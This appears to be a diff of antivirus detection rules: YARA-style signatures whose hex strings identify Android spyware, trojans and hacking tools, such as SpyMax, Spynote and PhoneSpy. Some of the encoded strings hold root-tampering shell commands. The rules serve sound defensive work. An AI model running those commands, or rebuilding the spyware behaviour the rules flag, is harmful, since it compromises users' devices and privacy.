74 4b 6e 6f 77 6e 4c 6f 63 61 74 69 6f 6e 01 00 0e 00 63 6f 6d 70 72 65 73 73 54 6f 4a 70 65 67 01 00 14 00 57 69 66 69 4d 61 6e 61 67 } //28537 - $a_57_6 = {66 69 4c 6f 63 6b 01 00 15 00 50 6f 77 65 72 4d 61 6e 61 67 65 72 24 57 61 6b 65 4c 6f 63 6b 00 00 be ed 00 } //29285 + $a_73_2 = {00 0e 00 67 65 74 4d 65 73 73 61 67 65 42 6f 64 79 00 00 be e8 00 00 05 00 05 00 06 00 21 23 54 45 4c 3a 48 61 63 6b 54 6f 6f 6c 3a 41 6e 64 72 6f 69 64 4f 53 2f 57 69 66 69 43 72 61 63 6b 2e 44 21 4d 54 42 00 02 00 18 01 77 69 62 72 70 6c 75 73 2f 4d 6f 6e 69 74 6f 72 41 63 74 69 76 69 74 79 02 00 19 } //29555 + $a_62_3 = {70 6c 75 73 2f 57 69 66 69 53 63 61 6e 41 63 74 69 76 69 74 79 01 00 0d 01 57 49 42 52 3a 77 69 66 69 6c 6f 63 6b 01 00 2b 01 4c 63 7a 2f 61 75 72 61 64 65 73 69 67 6e 2f 77 69 62 72 70 6c 75 73 2f 42 72 75 74 65 66 6f 72 63 65 47 65 6e 65 72 61 74 6f 72 01 00 13 01 62 72 75 74 65 66 6f 72 63 65 47 65 6e 65 72 61 } //30465 + $a_01_4 = {00 23 01 55 50 44 41 54 45 20 62 72 75 74 65 66 6f 72 63 65 20 53 45 54 20 6c 61 73 74 50 61 73 73 77 6f 72 64 3d 00 00 be e9 00 00 03 00 03 00 08 00 21 23 41 4c 46 3a 54 72 6f 6a 61 6e 3a 41 6e 64 72 6f 69 64 2f 45 76 61 6c 69 44 72 69 6e 6b 2e 41 21 64 68 61 00 02 00 10 00 63 6f 6d 2e 73 65 63 2e 77 68 69 73 6b 65 79 2e 02 00 0f 00 63 6f } //28532 + $a_65_5 = {2f 77 68 69 73 6b 79 2f 01 00 14 00 47 45 54 5f 57 48 49 53 4b 59 5f 49 44 5f 46 41 49 4c 45 44 01 00 17 00 46 45 54 43 48 5f 46 49 4c 45 5f 4e 4f 5f 53 55 43 48 5f 46 49 4c 45 01 00 1b 00 43 4f 4d 4d 41 4e 44 5f 54 59 50 45 5f 4e 4f 54 5f 52 45 47 49 53 54 45 52 45 44 01 00 10 01 2f 46 69 6e 67 65 72 70 72 69 6e 74 55 74 69 6c 01 00 16 01 2f } //12141 + $a_6e_6 = {65 6c 24 54 75 6e 6e 65 6c 69 73 74 65 6e 65 72 01 00 10 01 2f 50 6c 75 67 69 6e 73 43 6f 6e 73 75 6d 65 72 00 00 be eb 00 00 08 00 08 00 08 00 21 23 54 45 4c 3a 54 72 6f 6a 61 6e 53 70 79 3a 41 6e 64 72 6f 69 64 4f 53 2f 53 70 79 4d 61 78 2e 41 00 01 00 28 00 4c 61 6e 64 72 6f 69 64 2f 76 69 65 77 2f 57 69 6e 64 6f 77 4d 61 6e 61 67 65 72 24 4c 61 } //21577 + $a_74_7 = {61 72 61 6d 73 01 00 07 00 61 64 64 56 69 65 77 01 00 15 00 71 75 65 72 79 49 6e 74 65 6e 74 41 63 74 69 76 69 74 69 65 73 01 00 11 00 77 69 66 69 5f 73 6c 65 65 70 5f 70 6f 6c 69 63 79 01 00 14 00 67 65 74 4c 61 73 74 4b 6e 6f 77 6e 4c 6f 63 61 74 69 6f 6e 01 00 0e 00 63 6f 6d 70 72 65 73 73 54 6f 4a 70 65 67 01 00 14 00 57 69 66 69 4d 61 6e 61 67 } //28537 + $a_57_8 = {66 69 4c 6f 63 6b 01 00 15 00 50 6f 77 65 72 4d 61 6e 61 67 65 72 24 57 61 6b 65 4c 6f 63 6b 00 00 be ed 00 } //29285 condition: - ((#a_46_0 & 1)*16675+(#a_01_1 & 1)*25963+(#a_73_2 & 1)*29555+(#a_79_3 & 1)*29545+(#a_6e_4 & 1)*21577+(#a_74_5 & 1)*28537+(#a_57_6 & 1)*29285) >=6 + ((#a_46_0 & 1)*16675+(#a_01_1 & 1)*25963+(#a_73_2 & 1)*29555+(#a_62_3 & 1)*30465+(#a_01_4 & 1)*28532+(#a_65_5 & 1)*12141+(#a_6e_6 & 1)*21577+(#a_74_7 & 1)*28537+(#a_57_8 & 1)*29285) >=6 } -rule _InfrastructureShared_24871{ +rule _InfrastructureShared_26183{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_DEXHSTR_EXT,05 00 05 00 06 00 21 " + + strings : + $a_4c_0 = {48 61 63 6b 54 6f 6f 6c 3a 41 6e 64 72 6f 69 64 4f 53 2f 57 69 66 69 43 72 61 63 6b 2e 44 21 4d 54 42 00 02 00 18 01 77 69 62 72 70 6c 75 73 2f 4d 6f 6e 69 74 6f 72 41 63 74 69 76 69 74 79 02 00 19 01 77 69 } //21539 + $a_6c_1 = {73 2f 57 69 66 69 53 63 61 6e 41 63 74 69 76 69 74 79 01 00 0d 01 57 49 42 52 3a 77 69 66 69 6c 6f 63 6b 01 00 2b 01 4c 63 7a 2f 61 75 72 61 64 65 73 69 67 6e 2f 77 69 62 72 70 6c 75 73 2f 42 72 75 74 65 66 6f 72 63 65 47 65 6e 65 72 61 74 6f 72 01 00 13 01 62 72 75 74 65 66 6f 72 63 65 47 65 6e 65 72 61 74 6f 72 01 00 23 01 55 50 44 } //29282 + $a_20_2 = {72 75 74 65 66 6f 72 63 65 20 53 45 54 20 6c 61 73 74 50 61 73 73 77 6f 72 64 3d 00 00 be e9 00 00 03 00 03 00 08 00 21 23 41 4c 46 3a 54 72 6f 6a 61 6e 3a 41 6e 64 72 6f 69 64 2f 45 76 61 6c 69 44 72 69 6e } //21569 + $a_21_3 = {68 61 00 02 00 10 00 63 6f 6d 2e 73 65 63 2e 77 68 69 73 6b 65 79 2e 02 00 0f 00 63 6f 6d 2f 73 65 63 2f 77 68 69 73 6b 79 2f 01 00 14 00 47 45 54 5f 57 48 49 53 4b 59 5f 49 44 5f 46 41 49 4c 45 } //11883 + $a_43_5 = {5f 46 49 4c 45 5f 4e 4f 5f 53 55 43 48 5f 46 49 4c 45 01 00 1b 00 43 4f 4d 4d 41 4e 44 5f 54 59 50 45 5f 4e 4f 54 5f 52 45 47 49 53 54 45 52 45 44 01 00 10 01 2f 46 69 6e 67 65 72 70 72 69 6e 74 55 74 69 6c 01 00 16 01 2f 49 54 75 6e 6e 65 6c 24 54 75 } //17734 + condition: + ((#a_4c_0 & 1)*21539+(#a_6c_1 & 1)*29282+(#a_20_2 & 1)*21569+(#a_21_3 & 1)*11883+(#a_43_5 & 1)*17734) >=5 + +} +rule _InfrastructureShared_26184{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_DEXHSTR_EXT,03 00 03 00 08 00 21 " @@ -325784,12 +342613,12 @@ rule _InfrastructureShared_24871{ $a_73_4 = {00 07 00 61 64 64 56 69 65 77 01 00 15 00 71 75 65 72 79 49 6e 74 65 6e 74 41 63 74 69 76 69 74 69 65 73 01 00 11 00 77 69 66 69 5f 73 6c 65 65 70 5f 70 6f 6c 69 63 79 01 00 14 00 67 65 74 4c 61 73 74 4b 6e 6f 77 6e 4c 6f 63 61 74 69 6f 6e 01 00 0e 00 63 6f 6d 70 72 65 73 73 54 6f 4a 70 65 67 01 00 14 00 57 69 66 69 4d 61 6e } //24946 $a_72_5 = {57 69 66 69 4c 6f 63 6b 01 00 15 00 50 6f 77 65 72 4d 61 6e 61 67 65 72 24 57 61 6b 65 4c 6f 63 6b 00 00 be ed 00 00 06 00 06 00 07 00 21 23 54 45 4c 3a 50 55 41 3a 41 6e 64 72 6f 69 64 4f 53 2f 4d 61 70 70 54 72 61 63 6b 2e 41 21 4d 54 42 00 01 00 2c 00 4c 63 6e 2f 63 6f 6d 2f 69 72 65 73 65 61 72 63 } //26465 $a_61_6 = {70 74 72 61 63 6b 65 72 2f 64 61 6f 2f 43 6c 69 65 6e 74 49 6e 66 6f 01 00 2f 00 4c 63 6e 2f 63 6f 6d 2f 6d 6d 61 2f 6d 6f 62 69 6c 65 2f 74 72 61 63 6b 69 6e 67 2f 75 74 69 6c 2f 44 65 76 69 63 65 49 6e 66 6f 55 74 69 6c 01 00 08 00 67 65 74 4d 6f 64 65 6c 01 00 0e 00 6d 41 70 70 54 72 61 63 6b 65 72 2e 64 62 01 00 0b 00 53 } //12136 - $a_44_7 = {74 61 55 72 6c 01 00 13 00 66 75 6c 66 69 6c 6c 54 72 61 63 6b 69 6e 67 49 6e 66 6f 01 00 16 00 69 72 65 73 65 72 61 63 68 5f 6d 61 70 70 74 72 61 63 6b 65 72 72 00 00 be ee 00 00 02 00 02 00 02 00 21 23 54 45 4c 3a 54 72 6f 6a 61 6e 53 70 79 3a 41 6e 64 72 6f 69 64 4f 53 2f 46 61 6b 65 63 61 6c 6c } //28261 + $a_44_7 = {74 61 55 72 6c 01 00 13 00 66 75 6c 66 69 6c 6c 54 72 61 63 6b 69 6e 67 49 6e 66 6f 01 00 16 00 69 72 65 73 65 72 61 63 68 5f 6d 61 70 70 74 72 61 63 6b 65 72 72 00 00 be ee 00 00 02 00 02 00 02 00 21 23 54 45 4c 3a 4d 6f 6e 69 74 6f 72 69 6e 67 54 6f 6f 6c 3a 41 6e 64 72 6f 69 64 4f 53 2f 50 68 6f } //28261 condition: ((#a_46_0 & 1)*16675+(#a_57_1 & 1)*21573+(#a_54_2 & 1)*12033+(#a_53_3 & 1)*21327+(#a_73_4 & 1)*24946+(#a_72_5 & 1)*26465+(#a_61_6 & 1)*12136+(#a_44_7 & 1)*28261) >=3 } -rule _InfrastructureShared_24872{ +rule _InfrastructureShared_26185{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_DEXHSTR_EXT,08 00 08 00 08 00 21 " @@ -325798,40 +342627,41 @@ rule _InfrastructureShared_24872{ $a_73_1 = {00 07 00 61 64 64 56 69 65 77 01 00 15 00 71 75 65 72 79 49 6e 74 65 6e 74 41 63 74 69 76 69 74 69 65 73 01 00 11 00 77 69 66 69 5f 73 6c 65 65 70 5f 70 6f 6c 69 63 79 01 00 14 00 67 65 74 4c 61 73 74 4b 6e 6f 77 6e 4c 6f 63 61 74 69 6f 6e 01 00 0e 00 63 6f 6d 70 72 65 73 73 54 6f 4a 70 65 67 01 00 14 00 57 69 66 69 4d 61 6e } //24946 $a_72_2 = {57 69 66 69 4c 6f 63 6b 01 00 15 00 50 6f 77 65 72 4d 61 6e 61 67 65 72 24 57 61 6b 65 4c 6f 63 6b 00 00 be ed 00 00 06 00 06 00 07 00 21 23 54 45 4c 3a 50 55 41 3a 41 6e 64 72 6f 69 64 4f 53 2f 4d 61 70 70 54 72 61 63 6b 2e 41 21 4d 54 42 00 01 00 2c 00 4c 63 6e 2f 63 6f 6d 2f 69 72 65 73 65 61 72 63 } //26465 $a_61_3 = {70 74 72 61 63 6b 65 72 2f 64 61 6f 2f 43 6c 69 65 6e 74 49 6e 66 6f 01 00 2f 00 4c 63 6e 2f 63 6f 6d 2f 6d 6d 61 2f 6d 6f 62 69 6c 65 2f 74 72 61 63 6b 69 6e 67 2f 75 74 69 6c 2f 44 65 76 69 63 65 49 6e 66 6f 55 74 69 6c 01 00 08 00 67 65 74 4d 6f 64 65 6c 01 00 0e 00 6d 41 70 70 54 72 61 63 6b 65 72 2e 64 62 01 00 0b 00 53 } //12136 - $a_44_4 = {74 61 55 72 6c 01 00 13 00 66 75 6c 66 69 6c 6c 54 72 61 63 6b 69 6e 67 49 6e 66 6f 01 00 16 00 69 72 65 73 65 72 61 63 68 5f 6d 61 70 70 74 72 61 63 6b 65 72 72 00 00 be ee 00 00 02 00 02 00 02 00 21 23 54 45 4c 3a 54 72 6f 6a 61 6e 53 70 79 3a 41 6e 64 72 6f 69 64 4f 53 2f 46 61 6b 65 63 61 6c 6c } //28261 - $a_21_5 = {54 42 00 01 00 56 03 04 00 0c 04 6e 20 90 01 01 02 43 00 0c 03 6e 20 90 01 01 02 13 00 0c 03 13 04 3a 00 6e 20 90 01 01 02 43 00 0c 03 62 04 03 00 6e 20 90 01 01 02 43 00 0c 03 13 04 20 00 6e 20 90 01 01 02 43 00 0c 03 60 04 02 00 6e } //11891 - $a_01_6 = {02 } //-28640 - $a_03_7 = {13 04 20 00 90 00 01 00 5e 03 06 00 } //67 + $a_44_4 = {74 61 55 72 6c 01 00 13 00 66 75 6c 66 69 6c 6c 54 72 61 63 6b 69 6e 67 49 6e 66 6f 01 00 16 00 69 72 65 73 65 72 61 63 68 5f 6d 61 70 70 74 72 61 63 6b 65 72 72 00 00 be ee 00 00 02 00 02 00 02 00 21 23 54 45 4c 3a 4d 6f 6e 69 74 6f 72 69 6e 67 54 6f 6f 6c 3a 41 6e 64 72 6f 69 64 4f 53 2f 50 68 6f } //28261 + $a_70_5 = {2e 49 21 4d 54 42 00 01 00 48 01 52 83 d7 02 6e 20 f1 04 36 00 0a 03 38 03 08 00 52 63 37 01 b1 a3 01 24 01 45 28 06 52 63 37 01 01 34 01 93 01 a5 52 8b d7 02 13 10 00 00 33 ab 1e 00 54 6b 39 01 6e 10 63 08 0b 00 0a 0b 14 0c ff ff ff 7f 32 43 2c 00 } //25966 + $a_01_6 = {52 62 3c 01 52 63 eb 00 52 04 56 00 12 05 71 55 60 04 32 45 0a 02 6e 55 ed 04 f6 21 52 81 d7 02 33 a1 0e 00 6e 20 b5 04 e9 00 0a 01 54 62 39 01 6e 20 5b 08 f2 00 0a 02 b0 12 28 0d 6e 20 b8 04 e9 00 0a 02 54 61 39 01 6e 20 5b 08 f1 00 0a 01 91 01 02 01 52 83 d7 02 54 00 10 01 33 a3 06 00 6e 20 af 04 f0 00 28 04 } //1 + $a_ee_7 = {00 05 00 05 00 05 00 21 23 41 4c 46 50 45 52 3a 48 53 54 52 3a 41 6e 64 72 6f 69 64 4f 53 2f 44 72 6f 69 64 52 6f 6f 74 65 72 2e 44 00 01 00 24 01 2f 62 75 73 79 62 6f 78 20 6d 6f 75 6e 74 20 2d 6f 20 72 65 6d 6f 75 6e 74 2c 72 77 20 2f 73 79 73 74 65 6d 01 00 1a 01 2f 53 75 70 65 72 55 73 65 72 2e 61 70 6b 20 2f 73 79 73 74 65 6d 2f 61 70 70 01 00 23 01 63 68 6d 6f 64 20 37 35 35 20 2f 73 79 73 74 65 6d 2f 61 70 70 2f 53 75 70 65 72 55 73 65 72 2e 61 70 6b 01 00 29 01 63 68 6f 77 6e 20 72 6f 6f 74 2e 72 6f 6f 74 20 2f 73 79 73 74 65 6d 2f 61 70 70 2f 53 75 70 65 } //0 condition: - ((#a_4c_0 & 1)*21539+(#a_73_1 & 1)*24946+(#a_72_2 & 1)*26465+(#a_61_3 & 1)*12136+(#a_44_4 & 1)*28261+(#a_21_5 & 1)*11891+(#a_01_6 & 1)*-28640+(#a_03_7 & 1)*67) >=8 + ((#a_4c_0 & 1)*21539+(#a_73_1 & 1)*24946+(#a_72_2 & 1)*26465+(#a_61_3 & 1)*12136+(#a_44_4 & 1)*28261+(#a_70_5 & 1)*25966+(#a_01_6 & 1)*1+(#a_ee_7 & 1)*0) >=8 } -rule _InfrastructureShared_24873{ +rule _InfrastructureShared_26186{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_DEXHSTR_EXT,06 00 06 00 07 00 21 " strings : $a_4c_0 = {50 55 41 3a 41 6e 64 72 6f 69 64 4f 53 2f 4d 61 70 70 54 72 61 63 6b 2e 41 21 4d 54 42 00 01 00 2c 00 4c 63 6e 2f 63 6f 6d 2f 69 72 65 73 65 61 72 63 68 2f 6d 61 70 70 74 72 61 63 6b 65 72 2f 64 61 6f 2f 43 } //21539 $a_6e_1 = {49 6e 66 6f 01 00 2f 00 4c 63 6e 2f 63 6f 6d 2f 6d 6d 61 2f 6d 6f 62 69 6c 65 2f 74 72 61 63 6b 69 6e 67 2f 75 74 69 6c 2f 44 65 76 69 63 65 49 6e 66 6f 55 74 69 6c 01 00 08 00 67 65 74 4d 6f 64 65 6c 01 00 0e 00 6d 41 70 70 54 72 61 63 6b 65 72 2e 64 62 01 00 0b 00 53 65 6e 64 44 61 74 61 55 72 6c 01 } //26988 - $a_6c_3 = {54 72 61 63 6b 69 6e 67 49 6e 66 6f 01 00 16 00 69 72 65 73 65 72 61 63 68 5f 6d 61 70 70 74 72 61 63 6b 65 72 72 00 00 be ee 00 00 02 00 02 00 02 00 21 23 54 45 4c 3a 54 72 6f 6a 61 6e 53 70 79 3a 41 6e 64 72 6f 69 64 4f 53 2f 46 61 6b 65 63 61 6c 6c 73 2e 4e 21 4d 54 42 00 01 00 56 03 04 00 0c 04 6e 20 90 01 01 } //26220 - $a_90_5 = {01 02 13 00 0c 03 13 04 3a 00 6e 20 90 01 01 02 43 00 0c 03 62 04 03 00 6e 20 90 01 01 02 43 00 } //28163 - $a_04_6 = {20 00 6e 20 90 01 01 02 43 00 0c 03 60 04 02 00 6e 20 90 } //780 + $a_6c_3 = {54 72 61 63 6b 69 6e 67 49 6e 66 6f 01 00 16 00 69 72 65 73 65 72 61 63 68 5f 6d 61 70 70 74 72 61 63 6b 65 72 72 00 00 be ee 00 00 02 00 02 00 02 00 21 23 54 45 4c 3a 4d 6f 6e 69 74 6f 72 69 6e 67 54 6f 6f 6c 3a 41 6e 64 72 6f 69 64 4f 53 2f 50 68 6f 6e 65 53 70 79 2e 49 21 4d 54 42 00 01 00 48 01 52 83 d7 02 6e } //26220 + $a_36_4 = {0a 03 38 03 } //-3808 ̸̊ + $a_63_5 = {01 b1 a3 01 24 01 45 28 06 52 63 37 01 01 34 01 93 01 a5 52 8b d7 02 13 10 00 00 33 ab 1e 00 54 6b 39 01 6e 10 63 08 0b 00 0a 0b 14 0c ff ff ff 7f 32 43 2c 00 01 00 68 01 52 62 3c 01 52 63 eb 00 52 04 56 00 12 05 71 55 60 04 32 45 0a 02 6e 55 ed } //8 + $a_52_6 = {d7 02 33 a1 0e 00 6e 20 b5 04 e9 00 0a 01 54 62 39 01 6e 20 5b 08 f2 00 0a 02 b0 12 28 0d 6e 20 b8 } //-2556 condition: - ((#a_4c_0 & 1)*21539+(#a_6e_1 & 1)*26988+(#a_6c_3 & 1)*26220+(#a_90_5 & 1)*28163+(#a_04_6 & 1)*780) >=6 + ((#a_4c_0 & 1)*21539+(#a_6e_1 & 1)*26988+(#a_6c_3 & 1)*26220+(#a_36_4 & 1)*-3808+(#a_63_5 & 1)*8+(#a_52_6 & 1)*-2556) >=6 } -rule _InfrastructureShared_24874{ +rule _InfrastructureShared_26187{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_DEXHSTR_EXT,02 00 02 00 02 00 21 " strings : - $a_4c_0 = {54 72 6f 6a 61 6e 53 70 79 3a 41 6e 64 72 6f 69 64 4f 53 2f 46 61 6b 65 63 61 6c 6c 73 2e 4e 21 4d 54 42 00 01 00 56 03 04 00 0c 04 6e 20 90 01 01 02 43 00 0c 03 6e 20 90 01 01 02 13 00 0c 03 13 04 3a 00 6e } //21539 - $a_01_1 = {02 } //-28640 + $a_4c_0 = {4d 6f 6e 69 74 6f 72 69 6e 67 54 6f 6f 6c 3a 41 6e 64 72 6f 69 64 4f 53 2f 50 68 6f 6e 65 53 70 79 2e 49 21 4d 54 42 00 01 00 48 01 52 83 d7 02 6e 20 f1 04 36 00 0a 03 38 03 08 00 52 63 37 01 b1 a3 01 24 01 } //21539 + $a_52_1 = {37 01 01 34 01 93 } //10309 condition: - ((#a_4c_0 & 1)*21539+(#a_01_1 & 1)*-28640) >=2 + ((#a_4c_0 & 1)*21539+(#a_52_1 & 1)*10309) >=2 } -rule _InfrastructureShared_24875{ +rule _InfrastructureShared_26188{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_DEXHSTR_EXT,05 00 05 00 05 00 21 " @@ -325845,7 +342675,7 @@ rule _InfrastructureShared_24875{ ((#a_46_0 & 1)*16675+(#a_70_1 & 1)*21295+(#a_6c_2 & 1)*26987+(#a_2e_3 & 1)*26991+(#a_74_4 & 1)*26994) >=5 } -rule _InfrastructureShared_24876{ +rule _InfrastructureShared_26189{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_DEXHSTR_EXT,04 00 04 00 07 00 21 " @@ -325860,7 +342690,7 @@ rule _InfrastructureShared_24876{ ((#a_46_0 & 1)*16675+(#a_65_1 & 1)*24947+(#a_6e_2 & 1)*28530+(#a_5f_3 & 1)*17735+(#a_61_4 & 1)*21605+(#a_50_6 & 1)*19968) >=4 } -rule _InfrastructureShared_24877{ +rule _InfrastructureShared_26190{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_DEXHSTR_EXT,06 00 06 00 07 00 21 " @@ -325874,7 +342704,7 @@ rule _InfrastructureShared_24877{ ((#a_46_0 & 1)*16675+(#a_6d_1 & 1)*24436+(#a_6b_2 & 1)*25960+(#a_69_3 & 1)*26978+(#a_6c_4 & 1)*29441) >=6 } -rule _InfrastructureShared_24878{ +rule _InfrastructureShared_26191{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_DEXHSTR_EXT,03 00 03 00 06 00 21 " @@ -325887,7 +342717,7 @@ rule _InfrastructureShared_24878{ ((#a_46_0 & 1)*16675+(#a_72_1 & 1)*24899+(#a_4d_2 & 1)*25970+(#a_41_5 & 1)*8448) >=3 } -rule _InfrastructureShared_24879{ +rule _InfrastructureShared_26192{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_DEXHSTR_EXT,08 00 08 00 08 00 21 " @@ -325903,7 +342733,7 @@ rule _InfrastructureShared_24879{ ((#a_46_0 & 1)*16675+(#a_00_1 & 1)*26213+(#a_64_2 & 1)*12032+(#a_69_3 & 1)*29284+(#a_64_4 & 1)*25710+(#a_64_5 & 1)*25971+(#a_42_6 & 1)*19745) >=8 } -rule _InfrastructureShared_24880{ +rule _InfrastructureShared_26193{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_DEXHSTR_EXT,04 00 04 00 06 00 21 " @@ -325918,7 +342748,7 @@ rule _InfrastructureShared_24880{ ((#a_46_0 & 1)*16675+(#a_72_1 & 1)*24420+(#a_76_2 & 1)*21280+(#a_00_3 & 1)*1043+(#a_db_4 & 1)*2560+(#a_41_5 & 1)*400) >=4 } -rule _InfrastructureShared_24881{ +rule _InfrastructureShared_26194{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_DEXHSTR_EXT,05 00 05 00 06 00 21 " @@ -325933,7 +342763,7 @@ rule _InfrastructureShared_24881{ ((#a_46_0 & 1)*16675+(#a_02_1 & 1)*-28640+(#a_90_2 & 1)*28160+(#a_21_3 & 1)*3072+(#a_02_4 & 1)*-28656+(#a_34_5 & 1)*2560) >=5 } -rule _InfrastructureShared_24882{ +rule _InfrastructureShared_26195{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_DEXHSTR_EXT,08 00 08 00 08 00 21 " @@ -325949,7 +342779,7 @@ rule _InfrastructureShared_24882{ ((#a_4c_0 & 1)*21539+(#a_6e_1 & 1)*26736+(#a_00_2 & 1)*1+(#a_00_3 & 1)*1+(#a_fc_4 & 1)*0+(#a_2f_6 & 1)*24951+(#a_61_7 & 1)*17152) >=8 } -rule _InfrastructureShared_24883{ +rule _InfrastructureShared_26196{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_DEXHSTR_EXT,2a 00 2a 00 09 00 21 " @@ -325965,7 +342795,7 @@ rule _InfrastructureShared_24883{ ((#a_46_0 & 1)*16675+(#a_76_1 & 1)*25939+(#a_73_2 & 1)*24+(#a_50_4 & 1)*19521+(#a_6e_5 & 1)*24936+(#a_35_6 & 1)*12320+(#a_01_7 & 1)*-16896) >=42 } -rule _InfrastructureShared_24884{ +rule _InfrastructureShared_26197{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_DEXHSTR_EXT,04 00 04 00 05 00 21 " @@ -325979,7 +342809,7 @@ rule _InfrastructureShared_24884{ ((#a_46_0 & 1)*16675+(#a_2f_1 & 1)*29289+(#a_35_2 & 1)*14128+(#a_02_3 & 1)*0+(#a_69_4 & 1)*28527) >=4 } -rule _InfrastructureShared_24885{ +rule _InfrastructureShared_26198{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_DEXHSTR_EXT,04 00 04 00 08 00 21 " @@ -325996,7 +342826,7 @@ rule _InfrastructureShared_24885{ ((#a_41_0 & 1)*20515+(#a_75_1 & 1)*28265+(#a_6f_2 & 1)*28279+(#a_01_3 & 1)*1+(#a_01_4 & 1)*1+(#a_01_5 & 1)*1+(#a_01_6 & 1)*1+(#a_09_7 & 1)*0) >=4 } -rule _InfrastructureShared_24886{ +rule _InfrastructureShared_26199{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_DEXHSTR_EXT,05 00 05 00 05 00 21 " @@ -326010,7 +342840,7 @@ rule _InfrastructureShared_24886{ ((#a_54_0 & 1)*18467+(#a_65_1 & 1)*25958+(#a_6f_2 & 1)*8307+(#a_6b_3 & 1)*24946+(#a_6f_4 & 1)*26369) >=5 } -rule _InfrastructureShared_24887{ +rule _InfrastructureShared_26200{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_DEXHSTR_EXT,09 00 09 00 07 00 21 " @@ -326026,7 +342856,7 @@ rule _InfrastructureShared_24887{ ((#a_4c_0 & 1)*21539+(#a_65_1 & 1)*28015+(#a_6c_2 & 1)*28001+(#a_72_3 & 1)*267+(#a_68_4 & 1)*28271+(#a_32_5 & 1)*25710+(#a_50_6 & 1)*12133) >=9 } -rule _InfrastructureShared_24888{ +rule _InfrastructureShared_26201{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_DEXHSTR_EXT,0d 00 0d 00 08 00 21 " @@ -326043,7 +342873,7 @@ rule _InfrastructureShared_24888{ ((#a_46_0 & 1)*16675+(#a_74_1 & 1)*28206+(#a_6f_2 & 1)*11892+(#a_6e_3 & 1)*14962+(#a_61_4 & 1)*24909+(#a_69_5 & 1)*27491+(#a_6f_6 & 1)*21562+(#a_20_7 & 1)*28527) >=13 } -rule _InfrastructureShared_24889{ +rule _InfrastructureShared_26202{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_DEXHSTR_EXT,0b 00 0b 00 08 00 21 " @@ -326060,7 +342890,7 @@ rule _InfrastructureShared_24889{ ((#a_4c_0 & 1)*21539+(#a_67_1 & 1)*4352+(#a_6b_2 & 1)*24912+(#a_70_3 & 1)*24947+(#a_74_4 & 1)*25923+(#a_69_5 & 1)*30051+(#a_74_6 & 1)*29301+(#a_01_7 & 1)*1) >=11 } -rule _InfrastructureShared_24890{ +rule _InfrastructureShared_26203{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_DEXHSTR_EXT,02 00 02 00 05 00 21 " @@ -326074,22 +342904,31 @@ rule _InfrastructureShared_24890{ ((#a_46_0 & 1)*16675+(#a_6d_1 & 1)*29811+(#a_74_2 & 1)*12141+(#a_6e_3 & 1)*27247+(#a_64_4 & 1)*31085) >=2 } -rule _InfrastructureShared_24891{ +rule _InfrastructureShared_26204{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_DEXHSTR_EXT,07 00 07 00 06 00 21 " strings : $a_46_0 = {54 72 6f 6a 61 6e 3a 41 6e 64 72 6f 69 64 4f 53 2f 53 70 79 6e 6f 74 65 2e 47 56 21 4d 54 42 00 02 00 0c 01 63 6f 6d 2f 6d 6f 62 69 68 6b 2f 76 01 00 1b 01 67 64 79 65 67 6b 65 79 5f 6c 79 67 64 79 65 67 6f 67 67 65 72 79 67 64 } //16675 $a_01_1 = {00 1f 01 79 67 64 79 65 67 52 65 63 65 69 79 67 64 79 65 67 76 65 43 61 6d 79 67 64 79 65 67 65 72 61 01 00 20 01 79 67 64 79 65 67 53 70 65 63 69 79 67 64 79 65 67 61 6c 4d 65 73 79 67 64 79 65 67 73 61 67 65 01 00 2a 01 79 67 64 79 65 67 2f 41 75 64 69 79 67 64 79 65 67 6f 52 65 63 6f 79 67 64 79 65 67 72 } //25977 - $a_2e_2 = {67 64 79 65 67 77 61 76 01 00 48 01 79 67 64 79 65 67 43 61 6e 27 74 79 67 64 79 65 67 20 67 65 74 20 79 67 64 79 65 67 6c 6f 63 61 74 79 67 64 79 65 67 69 6f 6e 20 62 79 67 64 79 65 67 79 20 61 6e 79 79 67 64 79 65 67 20 6f 6e 65 20 79 67 64 79 65 67 00 00 be 26 01 00 08 00 08 00 08 00 21 23 41 4c 46 50 45 52 3a 48 53 54 52 3a 41 6e 64 72 } //25956 - $a_4f_3 = {2f 57 61 70 73 78 2e 42 00 01 00 53 03 13 06 e8 03 54 70 90 01 02 54 00 90 01 02 1a 01 90 01 02 6e 20 90 01 02 10 00 0c 00 1f 00 90 01 02 12 21 6e 20 90 01 02 10 00 0c 00 38 00 08 00 72 10 90 01 02 00 00 0a 01 38 01 0d 00 60 00 90 01 02 d2 00 e8 03 81 00 71 20 90 01 02 10 00 28 df 90 00 01 00 13 01 } //26991 - $a_2e_4 = {61 70 78 2e 63 6e 2f 61 63 74 69 6f 6e 2f 01 00 17 01 6b 69 6e 67 78 69 61 6f 67 75 61 6e 67 40 67 6d 61 69 6c 2e 63 6f 6d 01 00 19 01 67 65 74 4c 61 75 6e 63 68 49 6e 74 65 6e 74 46 6f 72 50 61 63 6b 61 67 65 01 00 0b 01 67 65 74 57 41 50 53 5f 50 49 44 01 00 0f 01 67 65 74 52 75 6e 6e 69 6e 67 54 61 73 6b 73 01 00 1a 01 67 65 74 44 } //28769 - $a_6c_5 = {79 41 64 44 61 74 61 46 72 6f 6d 53 65 72 76 65 72 01 00 14 01 67 65 74 44 69 73 70 6c 61 79 41 64 52 65 73 70 6f 6e 73 65 00 00 be 2f 01 00 06 00 06 00 0b 00 21 23 41 4c 46 3a 54 72 6f 6a 61 6e 53 70 79 3a 41 6e 64 72 6f 69 64 4f 53 2f 53 75 